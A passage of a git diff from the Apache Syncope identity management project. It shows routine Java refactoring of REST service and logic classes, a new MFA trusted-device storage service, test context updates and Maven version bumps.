b/core/am/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/ClientAppServiceImpl.java index da1e1e0e15d..99091c43487 100644 --- a/core/am/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/ClientAppServiceImpl.java +++ b/core/am/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/ClientAppServiceImpl.java @@ -65,9 +65,4 @@ public void update(final ClientAppType type, final ClientAppTO clientAppTO) { public void delete(final ClientAppType type, final String key) { logic.delete(type, key); } - - @Override - public void pushToWA() { - logic.pushToWA(); - } } diff --git a/core/am/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/wa/GoogleMfaAuthAccountServiceImpl.java b/core/am/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/wa/GoogleMfaAuthAccountServiceImpl.java index 2c8d95b981a..41223a240f3 100644 --- a/core/am/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/wa/GoogleMfaAuthAccountServiceImpl.java +++ b/core/am/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/wa/GoogleMfaAuthAccountServiceImpl.java @@ -51,16 +51,16 @@ public void deleteAll() { } @Override - public void create(final String owner, final GoogleMfaAuthAccount acct) { - logic.create(owner, acct); + public void create(final GoogleMfaAuthAccount acct) { + logic.create(acct); } @Override - public void update(final String owner, final GoogleMfaAuthAccount acct) { - logic.update(owner, acct); + public void update(final GoogleMfaAuthAccount acct) { + logic.update(acct); } - private PagedResult build(final List read) { + protected PagedResult build(final List read) { PagedResult result = new PagedResult<>(); result.setPage(1); result.setSize(read.size()); diff --git a/core/am/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/wa/MfaTrustStorageServiceImpl.java b/core/am/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/wa/MfaTrustStorageServiceImpl.java new file mode 100644 index 00000000000..92e732d1aa6 --- /dev/null +++ b/core/am/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/wa/MfaTrustStorageServiceImpl.java @@ -0,0 +1,61 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.rest.cxf.service.wa; + +import java.util.List; +import org.apache.commons.lang3.tuple.Pair; +import org.apache.syncope.common.lib.to.PagedResult; +import org.apache.syncope.common.lib.wa.MfaTrustedDevice; +import org.apache.syncope.common.rest.api.beans.MfaTrustedDeviceQuery; +import org.apache.syncope.common.rest.api.service.wa.MfaTrustStorageService; +import org.apache.syncope.core.logic.wa.MfaTrusStorageLogic; +import org.apache.syncope.core.rest.cxf.service.AbstractService; +import org.springframework.stereotype.Service; + +@Service +public class MfaTrustStorageServiceImpl extends AbstractService implements MfaTrustStorageService { + + protected final MfaTrusStorageLogic logic; + + public MfaTrustStorageServiceImpl(final MfaTrusStorageLogic logic) { + this.logic = logic; + } + + @Override + public PagedResult search(final MfaTrustedDeviceQuery query) { + Pair> result = logic.search( + query.getPage(), + query.getSize(), + query.getPrincipal(), + query.getId(), + query.getRecordDate(), + getOrderByClauses(query.getOrderBy())); + return buildPagedResult(result.getRight(), query.getPage(), query.getSize(), result.getLeft()); + } + + @Override + public void create(final String owner, final MfaTrustedDevice device) { + logic.create(owner, device); + } + + @Override + public void delete(final MfaTrustedDeviceQuery query) { + logic.delete(query.getExpirationDate(), query.getRecordKey()); + } +} diff --git a/core/am/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/wa/WAConfigServiceImpl.java b/core/am/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/wa/WAConfigServiceImpl.java index 390f409410b..526293cbf9f 100644 --- a/core/am/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/wa/WAConfigServiceImpl.java +++ b/core/am/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/wa/WAConfigServiceImpl.java @@ -55,7 +55,7 @@ public void set(final Attr value) { } @Override - public void pushToWA() { - logic.pushToWA(); + public void pushToWA(final PushSubject subject, final List services) { + logic.pushToWA(subject, services); } } diff --git a/core/idm/logic/pom.xml b/core/idm/logic/pom.xml index 631d0fee1ca..dd6c47a5c08 100644 --- a/core/idm/logic/pom.xml +++ b/core/idm/logic/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.core syncope-core-idm - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Core IdM Logic @@ -123,6 +123,16 @@ under the License. + + org.apache.maven.plugins + maven-surefire-plugin + + + file:${bundles.directory}/ + + + + org.apache.maven.plugins maven-checkstyle-plugin diff --git a/core/idm/logic/src/main/java/org/apache/syncope/core/logic/ConnectorLogic.java b/core/idm/logic/src/main/java/org/apache/syncope/core/logic/ConnectorLogic.java index 03c22af7837..415b404401f 100644 --- a/core/idm/logic/src/main/java/org/apache/syncope/core/logic/ConnectorLogic.java +++ b/core/idm/logic/src/main/java/org/apache/syncope/core/logic/ConnectorLogic.java @@ -82,8 +82,7 @@ public ConnectorLogic( } protected void securityChecks(final Set effectiveRealms, final String realm, final String key) { - boolean authorized = effectiveRealms.stream().anyMatch(realm::startsWith); - if (!authorized) { + if (!effectiveRealms.stream().anyMatch(realm::startsWith)) { throw new DelegatedAdministrationException(realm, ConnInstance.class.getSimpleName(), key); } } @@ -132,10 +131,8 @@ public ConnInstanceTO update(final ConnInstanceTO connInstanceTO) { @PreAuthorize("hasRole('" + IdMEntitlement.CONNECTOR_DELETE + "')") public ConnInstanceTO delete(final String key) { - ConnInstance connInstance = connInstanceDAO.authFind(key); - if (connInstance == null) { - throw new NotFoundException("Connector '" + key + '\''); - } + ConnInstance connInstance = Optional.ofNullable(connInstanceDAO.authFind(key)). + orElseThrow(() -> new NotFoundException("Connector '" + key + '\'')); Set effectiveRealms = RealmUtils.getEffective( AuthContextUtils.getAuthorizations().get(IdMEntitlement.CONNECTOR_DELETE), @@ -151,7 +148,6 @@ public ConnInstanceTO delete(final String key) { ConnInstanceTO deleted = binder.getConnInstanceTO(connInstance); connInstanceDAO.delete(key); - connectorManager.unregisterConnector(key); return deleted; } @@ -210,7 +206,6 @@ public List getBundles(final String lang) { } @PreAuthorize("hasRole('" + IdMEntitlement.CONNECTOR_READ + "')") - public List buildObjectClassInfo( final ConnInstanceTO connInstanceTO, final boolean includeSpecial) { @@ -261,12 +256,10 @@ public void check(final ConnInstanceTO connInstanceTO) { public ConnInstanceTO readByResource(final String resourceName, final String lang) { CurrentLocale.set(StringUtils.isBlank(lang) ? Locale.ENGLISH : new Locale(lang)); - ExternalResource resource = resourceDAO.find(resourceName); - if (resource == null) { - throw new NotFoundException("Resource '" + resourceName + '\''); - } - ConnInstanceTO connInstance = binder. - getConnInstanceTO(connectorManager.getConnector(resource).getConnInstance()); + ExternalResource resource = Optional.ofNullable(resourceDAO.find(resourceName)). + orElseThrow(() -> new NotFoundException("Resource '" + resourceName + '\'')); + ConnInstanceTO connInstance = binder.getConnInstanceTO( + connectorManager.getConnector(resource).getConnInstance()); connInstance.setKey(resource.getConnector().getKey()); return connInstance; } diff --git a/core/idm/logic/src/main/java/org/apache/syncope/core/logic/ReconciliationLogic.java b/core/idm/logic/src/main/java/org/apache/syncope/core/logic/ReconciliationLogic.java index ec8e974a8e8..6c8bb0f1784 100644 --- a/core/idm/logic/src/main/java/org/apache/syncope/core/logic/ReconciliationLogic.java +++ b/core/idm/logic/src/main/java/org/apache/syncope/core/logic/ReconciliationLogic.java @@ -27,6 +27,7 @@ import java.util.Optional; import java.util.Set; import java.util.stream.Stream; +import org.apache.commons.lang3.BooleanUtils; import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.tuple.Pair; import org.apache.commons.lang3.tuple.Triple; @@ -51,13 +52,16 @@ import org.apache.syncope.common.rest.api.beans.CSVPullSpec; import org.apache.syncope.common.rest.api.beans.CSVPushSpec; import org.apache.syncope.core.persistence.api.dao.AnyDAO; +import org.apache.syncope.core.persistence.api.dao.AnyObjectDAO; import org.apache.syncope.core.persistence.api.dao.AnySearchDAO; import org.apache.syncope.core.persistence.api.dao.AnyTypeDAO; import org.apache.syncope.core.persistence.api.dao.DerSchemaDAO; import org.apache.syncope.core.persistence.api.dao.ExternalResourceDAO; +import org.apache.syncope.core.persistence.api.dao.GroupDAO; import org.apache.syncope.core.persistence.api.dao.NotFoundException; import org.apache.syncope.core.persistence.api.dao.PlainSchemaDAO; import org.apache.syncope.core.persistence.api.dao.RealmDAO; +import org.apache.syncope.core.persistence.api.dao.UserDAO; import org.apache.syncope.core.persistence.api.dao.VirSchemaDAO; import org.apache.syncope.core.persistence.api.dao.search.OrderByClause; import org.apache.syncope.core.persistence.api.dao.search.SearchCond; @@ -69,6 +73,7 @@ import org.apache.syncope.core.persistence.api.entity.Realm; import org.apache.syncope.core.persistence.api.entity.VirSchema; import org.apache.syncope.core.persistence.api.entity.user.LinkedAccount; +import org.apache.syncope.core.persistence.api.entity.user.User; import org.apache.syncope.core.provisioning.api.ConnectorManager; import org.apache.syncope.core.provisioning.api.MappingManager; import org.apache.syncope.core.provisioning.api.VirAttrHandler; @@ -95,6 +100,7 @@ import org.identityconnectors.framework.common.objects.ConnectorObject; import org.identityconnectors.framework.common.objects.ObjectClass; import org.identityconnectors.framework.common.objects.OperationOptions; +import org.identityconnectors.framework.common.objects.OperationalAttributes; import org.identityconnectors.framework.common.objects.SearchResult; import org.identityconnectors.framework.common.objects.SyncDeltaBuilder; import org.identityconnectors.framework.common.objects.SyncDeltaType; @@ -190,6 +196,7 @@ protected Triple getProvision( protected ConnObject getOnSyncope( final Item connObjectKeyItem, final String connObjectKeyValue, + final Boolean suspended, final Set attrs) { ConnObject connObjectTO = ConnObjectUtils.getConnObjectTO(null, attrs); @@ -197,6 +204,11 @@ protected ConnObject getOnSyncope( value(connObjectKeyValue).build()); connObjectTO.getAttrs().add(new Attr.Builder(Uid.NAME). value(connObjectKeyValue).build()); + Optional.ofNullable(suspended).ifPresent(s -> { + connObjectTO.getAttrs().removeIf(a -> OperationalAttributes.ENABLE_NAME.equals(a.getSchema())); + connObjectTO.getAttrs().add(new Attr.Builder(OperationalAttributes.ENABLE_NAME). + value(BooleanUtils.negate(s).toString()).build()); + }); return connObjectTO; } @@ -209,7 +221,11 @@ protected ConnObject getOnSyncope( Pair> prepared = mappingManager.prepareAttrsFromAny( any, null, false, true, resource, provision); - return getOnSyncope(connObjectKeyItem, prepared.getLeft(), prepared.getRight()); + return getOnSyncope( + connObjectKeyItem, + prepared.getLeft(), + any instanceof User ? ((User) any).isSuspended() : null, + prepared.getRight()); } protected ConnObject getOnSyncope( @@ -219,18 +235,27 @@ protected ConnObject getOnSyncope( Set attrs = mappingManager.prepareAttrsFromLinkedAccount( account.getOwner(), account, null, false, provision); - return getOnSyncope(connObjectKeyItem, account.getConnObjectKeyValue(), attrs); + return getOnSyncope( + connObjectKeyItem, + account.getConnObjectKeyValue(), + account.isSuspended(), + attrs); } protected Any getAny(final Provision provision, final AnyTypeKind anyTypeKind, final String anyKey) { - AnyDAO> dao = anyUtilsFactory.getInstance(anyTypeKind).dao(); - Any any = SyncopeConstants.UUID_PATTERN.matcher(anyKey).matches() - ? dao.authFind(anyKey) - : dao.authFind(dao.findKey(anyKey)); - if (any == null) { - throw new NotFoundException(provision.getAnyType() + " '" + anyKey + "'"); + AnyDAO dao = anyUtilsFactory.getInstance(anyTypeKind).dao(); + + String actualKey = anyKey; + if (!SyncopeConstants.UUID_PATTERN.matcher(anyKey).matches()) { + actualKey = dao instanceof UserDAO + ? ((UserDAO) dao).findKey(anyKey) + : dao instanceof GroupDAO + ? ((GroupDAO) dao).findKey(anyKey) + : ((AnyObjectDAO) dao).findKey(provision.getAnyType(), anyKey); } - return any; + + return Optional.ofNullable(dao.authFind(actualKey)). + orElseThrow(() -> new NotFoundException(provision.getAnyType() + " '" + anyKey + "'")); } @PreAuthorize("hasRole('" + IdMEntitlement.RESOURCE_GET_CONNOBJECT + "')") @@ -727,7 +752,8 @@ public List pull(final CSVPullSpec spec, final InputStream c spec.getConflictResolutionAction(), spec.getPullCorrelationRule(), connector, - pullTask); + pullTask, + AuthContextUtils.getWho()); } catch (NotFoundException e) { throw e; } catch (Exception e) { diff --git a/core/idm/logic/src/main/java/org/apache/syncope/core/logic/ResourceLogic.java b/core/idm/logic/src/main/java/org/apache/syncope/core/logic/ResourceLogic.java index 1fd59b9b639..68ed12ff3fb 100644 --- a/core/idm/logic/src/main/java/org/apache/syncope/core/logic/ResourceLogic.java +++ b/core/idm/logic/src/main/java/org/apache/syncope/core/logic/ResourceLogic.java @@ -167,10 +167,8 @@ public ResourceTO create(final ResourceTO resourceTO) { @PreAuthorize("hasRole('" + IdMEntitlement.RESOURCE_UPDATE + "')") public ResourceTO update(final ResourceTO resourceTO) { - ExternalResource resource = resourceDAO.authFind(resourceTO.getKey()); - if (resource == null) { - throw new NotFoundException("Resource '" + resourceTO.getKey() + '\''); - } + ExternalResource resource = Optional.ofNullable(resourceDAO.authFind(resourceTO.getKey())). + orElseThrow(() -> new NotFoundException("Resource '" + resourceTO.getKey() + '\'')); Set effectiveRealms = RealmUtils.getEffective( AuthContextUtils.getAuthorizations().get(IdMEntitlement.RESOURCE_UPDATE), @@ -202,10 +200,8 @@ public void setLatestSyncToken(final String key, final String anyTypeKey) { resource.getOrgUnit().setSyncToken(ConnObjectUtils.toString( connector.getLatestSyncToken(new ObjectClass(resource.getOrgUnit().getObjectClass())))); } else { - AnyType anyType = anyTypeDAO.find(anyTypeKey); - if (anyType == null) { - throw new NotFoundException("AnyType '" + anyTypeKey + '\''); - } + AnyType anyType = Optional.ofNullable(anyTypeDAO.find(anyTypeKey)). + orElseThrow(() -> new NotFoundException("AnyType '" + anyTypeKey + '\'')); Provision provision = resource.getProvisionByAnyType(anyType.getKey()). orElseThrow(() -> new NotFoundException( "Provision for AnyType '" + anyTypeKey + "' in Resource '" + key + '\'')); @@ -224,10 +220,8 @@ public void setLatestSyncToken(final String key, final String anyTypeKey) { @PreAuthorize("hasRole('" + IdMEntitlement.RESOURCE_UPDATE + "')") public void removeSyncToken(final String key, final String anyTypeKey) { - ExternalResource resource = resourceDAO.authFind(key); - if (resource == null) { - throw new NotFoundException("Resource '" + key + '\''); - } + ExternalResource resource = Optional.ofNullable(resourceDAO.authFind(key)). + orElseThrow(() -> new NotFoundException("Resource '" + key + '\'')); if (SyncopeConstants.REALM_ANYTYPE.equals(anyTypeKey)) { if (resource.getOrgUnit() == null) { throw new NotFoundException("Realm provision not enabled for Resource '" + key + '\''); @@ -235,10 +229,8 @@ public void removeSyncToken(final String key, final String anyTypeKey) { resource.getOrgUnit().setSyncToken(null); } else { - AnyType anyType = anyTypeDAO.find(anyTypeKey); - if (anyType == null) { - throw new NotFoundException("AnyType '" + anyTypeKey + '\''); - } + AnyType anyType = Optional.ofNullable(anyTypeDAO.find(anyTypeKey)). + orElseThrow(() -> new NotFoundException("AnyType '" + anyTypeKey + '\'')); Provision provision = resource.getProvisionByAnyType(anyType.getKey()). orElseThrow(() -> new NotFoundException( "Provision for AnyType '" + anyTypeKey + "' in Resource '" + key + '\'')); @@ -256,30 +248,26 @@ public void removeSyncToken(final String key, final String anyTypeKey) { @PreAuthorize("hasRole('" + IdMEntitlement.RESOURCE_DELETE + "')") public ResourceTO delete(final String key) { - ExternalResource resource = resourceDAO.authFind(key); - if (resource == null) { - throw new NotFoundException("Resource '" + key + '\''); - } + ExternalResource resource = Optional.ofNullable(resourceDAO.authFind(key)). + orElseThrow(() -> new NotFoundException("Resource '" + key + '\'')); Set effectiveRealms = RealmUtils.getEffective( AuthContextUtils.getAuthorizations().get(IdMEntitlement.RESOURCE_DELETE), resource.getConnector().getAdminRealm().getFullPath()); securityChecks(effectiveRealms, resource.getConnector().getAdminRealm().getFullPath(), resource.getKey()); - ResourceTO resourceToDelete = binder.getResourceTO(resource); + connectorManager.unregisterConnector(resource); + ResourceTO deleted = binder.getResourceTO(resource); resourceDAO.delete(key); - - return resourceToDelete; + return deleted; } @PreAuthorize("hasRole('" + IdMEntitlement.RESOURCE_READ + "')") @Transactional(readOnly = true) public ResourceTO read(final String key) { - ExternalResource resource = resourceDAO.authFind(key); - if (resource == null) { - throw new NotFoundException("Resource '" + key + '\''); - } + ExternalResource resource = Optional.ofNullable(resourceDAO.authFind(key)). + orElseThrow(() -> new NotFoundException("Resource '" + key + '\'')); return binder.getResourceTO(resource); } @@ -293,15 +281,11 @@ public List list() { protected Triple getProvision( final String anyTypeKey, final String resourceKey) { - AnyType anyType = anyTypeDAO.find(anyTypeKey); - if (anyType == null) { - throw new NotFoundException("AnyType '" + anyTypeKey + "'"); - } + AnyType anyType = Optional.ofNullable(anyTypeDAO.find(anyTypeKey)). + orElseThrow(() -> new NotFoundException("AnyType '" + anyTypeKey + '\'')); - ExternalResource resource = resourceDAO.find(resourceKey); - if (resource == null) { - throw new NotFoundException("Resource '" + resourceKey + "'"); - } + ExternalResource resource = Optional.ofNullable(resourceDAO.authFind(resourceKey)). + orElseThrow(() -> new NotFoundException("Resource '" + resourceKey + '\'')); Provision provision = resource.getProvisionByAnyType(anyType.getKey()). orElseThrow(() -> new NotFoundException( "Provision for " + anyType + " on Resource '" + resourceKey + "'")); @@ -322,10 +306,9 @@ public String getConnObjectKeyValue( Triple triple = getProvision(anyTypeKey, key); // 1. find any - Any any = anyUtilsFactory.getInstance(triple.getLeft().getKind()).dao().authFind(anyKey); - if (any == null) { - throw new NotFoundException(triple.getLeft() + " " + anyKey); - } + Any any = Optional.ofNullable(anyUtilsFactory.getInstance(triple.getLeft().getKind()). + dao().authFind(anyKey)). + orElseThrow(() -> new NotFoundException(triple.getLeft() + " " + anyKey)); // 2.get ConnObjectKey value return mappingManager.getConnObjectKeyValue(any, triple.getMiddle(), triple.getRight()). @@ -343,10 +326,9 @@ public ConnObject readConnObjectByAnyKey( Triple triple = getProvision(anyTypeKey, key); // 1. find any - Any any = anyUtilsFactory.getInstance(triple.getLeft().getKind()).dao().authFind(anyKey); - if (any == null) { - throw new NotFoundException(triple.getLeft() + " " + anyKey); - } + Any any = Optional.ofNullable(anyUtilsFactory.getInstance(triple.getLeft().getKind()). + dao().authFind(anyKey)). + orElseThrow(() -> new NotFoundException(triple.getLeft() + " " + anyKey)); // 2. find on resource List connObjs = outboundMatcher.match( @@ -473,10 +455,8 @@ public void handleResult(final SearchResult sr) { @PreAuthorize("hasRole('" + IdMEntitlement.CONNECTOR_READ + "')") @Transactional(readOnly = true) public void check(final ResourceTO resourceTO) { - ConnInstance connInstance = connInstanceDAO.find(resourceTO.getConnector()); - if (connInstance == null) { - throw new NotFoundException("Connector '" + resourceTO.getConnector() + '\''); - } + ConnInstance connInstance = Optional.ofNullable(connInstanceDAO.find(resourceTO.getConnector())). + orElseThrow(() -> new NotFoundException("Connector '" + resourceTO.getConnector() + '\'')); connectorManager.createConnector( connectorManager.buildConnInstanceOverride( diff --git a/core/idm/logic/src/test/java/org/apache/syncope/core/logic/DummyImplementationLookup.java b/core/idm/logic/src/test/java/org/apache/syncope/core/logic/DummyImplementationLookup.java index ec237ee3d1e..e41cf4da86c 100644 --- a/core/idm/logic/src/test/java/org/apache/syncope/core/logic/DummyImplementationLookup.java +++ b/core/idm/logic/src/test/java/org/apache/syncope/core/logic/DummyImplementationLookup.java @@ -23,13 +23,13 @@ import org.apache.syncope.common.lib.policy.PasswordRuleConf; import org.apache.syncope.common.lib.policy.PullCorrelationRuleConf; import org.apache.syncope.common.lib.policy.PushCorrelationRuleConf; -import org.apache.syncope.common.lib.report.ReportletConf; -import org.apache.syncope.core.persistence.api.ImplementationLookup; -import org.apache.syncope.core.persistence.api.dao.AccountRule; -import org.apache.syncope.core.persistence.api.dao.PasswordRule; -import org.apache.syncope.core.persistence.api.dao.PullCorrelationRule; -import org.apache.syncope.core.persistence.api.dao.PushCorrelationRule; -import org.apache.syncope.core.persistence.api.dao.Reportlet; +import org.apache.syncope.common.lib.report.ReportConf; +import org.apache.syncope.core.provisioning.api.ImplementationLookup; +import org.apache.syncope.core.provisioning.api.job.report.ReportJobDelegate; +import org.apache.syncope.core.provisioning.api.rules.AccountRule; +import org.apache.syncope.core.provisioning.api.rules.PasswordRule; +import org.apache.syncope.core.provisioning.api.rules.PullCorrelationRule; +import org.apache.syncope.core.provisioning.api.rules.PushCorrelationRule; public class DummyImplementationLookup implements ImplementationLookup { @@ -44,14 +44,7 @@ public Set getClassNames(final String type) { } @Override - public Set> getJWTSSOProviderClasses() { - return Set.of(); - } - - @Override - public Class getReportletClass( - final Class reportletConfClass) { - + public Class getReportClass(final Class reportConfClass) { return null; } diff --git a/core/idm/logic/src/test/java/org/apache/syncope/core/logic/IdMLogicTestContext.java b/core/idm/logic/src/test/java/org/apache/syncope/core/logic/IdMLogicTestContext.java index 9102a808b5f..e0108225421 100644 --- a/core/idm/logic/src/test/java/org/apache/syncope/core/logic/IdMLogicTestContext.java +++ b/core/idm/logic/src/test/java/org/apache/syncope/core/logic/IdMLogicTestContext.java @@ -25,14 +25,15 @@ import org.apache.syncope.common.keymaster.client.api.ServiceOps; import org.apache.syncope.core.persistence.api.DomainHolder; import org.apache.syncope.core.persistence.api.DomainRegistry; -import org.apache.syncope.core.persistence.api.ImplementationLookup; import org.apache.syncope.core.persistence.api.content.ContentLoader; import org.apache.syncope.core.persistence.jpa.MasterDomain; import org.apache.syncope.core.persistence.jpa.PersistenceContext; import org.apache.syncope.core.persistence.jpa.StartupDomainLoader; +import org.apache.syncope.core.provisioning.api.ImplementationLookup; import org.apache.syncope.core.provisioning.java.ProvisioningContext; import org.apache.syncope.core.spring.security.SecurityContext; import org.apache.syncope.core.workflow.java.WorkflowContext; +import org.springframework.boot.logging.LoggingSystem; import org.springframework.context.ConfigurableApplicationContext; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; @@ -61,6 +62,11 @@ public JavaMailSender javaMailSender() { return mock(JavaMailSender.class); } + @Bean + public LoggingSystem loggingSystem() { + return mock(LoggingSystem.class); + } + @Bean public ImplementationLookup implementationLookup() { return new DummyImplementationLookup(); diff --git a/core/idm/pom.xml b/core/idm/pom.xml index 9ad948a3d87..9609e168908 100644 --- a/core/idm/pom.xml +++ b/core/idm/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope-core - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Core IdM diff --git a/core/idm/rest-cxf/pom.xml b/core/idm/rest-cxf/pom.xml index e2ef03ebdec..ecb7c7638eb 100644 --- a/core/idm/rest-cxf/pom.xml +++ b/core/idm/rest-cxf/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.core syncope-core-idm - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Core IdM REST CXF @@ -43,13 +43,6 @@ under the License. jakarta.servlet-api provided - - - org.apache.syncope.common.idm - syncope-common-idm-rest-api - ${project.version} - javadoc - org.apache.syncope.core.idrepo @@ -66,6 +59,12 @@ under the License. syncope-common-idm-rest-api ${project.version} + + org.apache.syncope.common.idm + syncope-common-idm-rest-api + ${project.version} + javadoc + diff --git a/core/idrepo/logic/pom.xml b/core/idrepo/logic/pom.xml index ddc1abe2ab1..80470a16ee7 100644 --- a/core/idrepo/logic/pom.xml +++ b/core/idrepo/logic/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.core syncope-core-idrepo - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Core IdRepo Logic @@ -47,16 +47,6 @@ under the License. spring-context-support - - org.aspectj - aspectjweaver - - - - org.apache.xmlgraphics - fop - - org.apache.tika tika-core diff --git a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/AbstractExecutableLogic.java b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/AbstractExecutableLogic.java index 7f323c0704d..be758cbd112 100644 --- a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/AbstractExecutableLogic.java +++ b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/AbstractExecutableLogic.java @@ -26,6 +26,7 @@ import org.apache.syncope.common.lib.to.JobTO; import org.apache.syncope.common.lib.types.JobAction; import org.apache.syncope.common.rest.api.batch.BatchResponseItem; +import org.apache.syncope.common.rest.api.beans.ExecSpecs; import org.apache.syncope.core.persistence.api.dao.JobStatusDAO; import org.apache.syncope.core.persistence.api.dao.search.OrderByClause; import org.apache.syncope.core.provisioning.api.job.JobManager; @@ -41,7 +42,7 @@ public AbstractExecutableLogic( super(jobManager, scheduler, jobStatusDAO); } - public abstract ExecTO execute(String key, OffsetDateTime startAt, boolean dryRun); + public abstract ExecTO execute(ExecSpecs specs); public abstract Pair> listExecutions( String key, diff --git a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/AbstractResourceAssociator.java b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/AbstractResourceAssociator.java index 577455bc069..8f5209cfdfd 100644 --- a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/AbstractResourceAssociator.java +++ b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/AbstractResourceAssociator.java @@ -19,6 +19,7 @@ package org.apache.syncope.core.logic; import java.util.Collection; +import java.util.List; import org.apache.syncope.common.lib.to.AnyTO; import org.apache.syncope.common.lib.to.ProvisioningResult; @@ -35,8 +36,8 @@ public abstract ProvisioningResult assign( String key, Collection resources, boolean changepwd, String password, boolean nullPriorityAsync); public abstract ProvisioningResult deprovision( - String key, Collection resources, boolean nullPriorityAsync); + String key, List resources, boolean nullPriorityAsync); public abstract ProvisioningResult provision( - String key, Collection resources, boolean changepwd, String password, boolean nullPriorityAsync); + String key, List resources, boolean changepwd, String password, boolean nullPriorityAsync); } diff --git a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/AccessTokenLogic.java b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/AccessTokenLogic.java index 936c13a3caa..78b1d69b2d9 100644 --- a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/AccessTokenLogic.java +++ b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/AccessTokenLogic.java @@ -22,6 +22,7 @@ import java.time.OffsetDateTime; import java.util.Collections; import java.util.List; +import java.util.Optional; import java.util.stream.Collectors; import org.apache.commons.lang3.tuple.Pair; import org.apache.syncope.common.lib.SyncopeClientException; @@ -42,12 +43,10 @@ public class AccessTokenLogic extends AbstractTransactionalLogic { - protected static final Encryptor ENCRYPTOR = Encryptor.getInstance(); - protected static byte[] getAuthorities() { byte[] authorities = null; try { - authorities = ENCRYPTOR.encode(POJOHelper.serialize( + authorities = Encryptor.getInstance().encode(POJOHelper.serialize( AuthContextUtils.getAuthorities()), CipherAlgorithm.AES). getBytes(); } catch (Exception e) { @@ -82,8 +81,9 @@ public Pair login() { } return binder.create( + Optional.empty(), AuthContextUtils.getUsername(), - Collections.emptyMap(), + Collections.emptyMap(), getAuthorities(), false); } diff --git a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/AnyObjectLogic.java b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/AnyObjectLogic.java index cfcae26dd86..29ded605424 100644 --- a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/AnyObjectLogic.java +++ b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/AnyObjectLogic.java @@ -20,6 +20,7 @@ import java.lang.reflect.Method; import java.util.Collection; +import java.util.Comparator; import java.util.List; import java.util.Objects; import java.util.Optional; @@ -95,6 +96,13 @@ public AnyObjectTO read(final String key) { return binder.getAnyObjectTO(key); } + @Transactional(readOnly = true) + public AnyObjectTO read(final String type, final String name) { + return Optional.ofNullable(anyObjectDAO.findKey(type, name)). + map(binder::getAnyObjectTO). + orElseThrow(() -> new NotFoundException("AnyObject " + type + " " + name)); + } + @Transactional(readOnly = true) @Override public Pair> search( @@ -294,7 +302,9 @@ public ProvisioningResult assign( @Override public ProvisioningResult deprovision( - final String key, final Collection resources, final boolean nullPriorityAsync) { + final String key, + final List resources, + final boolean nullPriorityAsync) { updateChecks(key); @@ -304,13 +314,14 @@ public ProvisioningResult deprovision( ProvisioningResult result = new ProvisioningResult<>(); result.setEntity(binder.getAnyObjectTO(key)); result.getPropagationStatuses().addAll(statuses); + result.getPropagationStatuses().sort(Comparator.comparing(item -> resources.indexOf(item.getResource()))); return result; } @Override public ProvisioningResult provision( final String key, - final Collection resources, + final List resources, final boolean changePwd, final String password, final boolean nullPriorityAsync) { @@ -323,6 +334,7 @@ public ProvisioningResult provision( ProvisioningResult result = new ProvisioningResult<>(); result.setEntity(binder.getAnyObjectTO(key)); result.getPropagationStatuses().addAll(statuses); + result.getPropagationStatuses().sort(Comparator.comparing(item -> resources.indexOf(item.getResource()))); return result; } diff --git a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/AnyTypeLogic.java b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/AnyTypeLogic.java index ece70043c75..3cff9d31d81 100644 --- a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/AnyTypeLogic.java +++ b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/AnyTypeLogic.java @@ -20,6 +20,7 @@ import java.lang.reflect.Method; import java.util.List; +import java.util.Optional; import 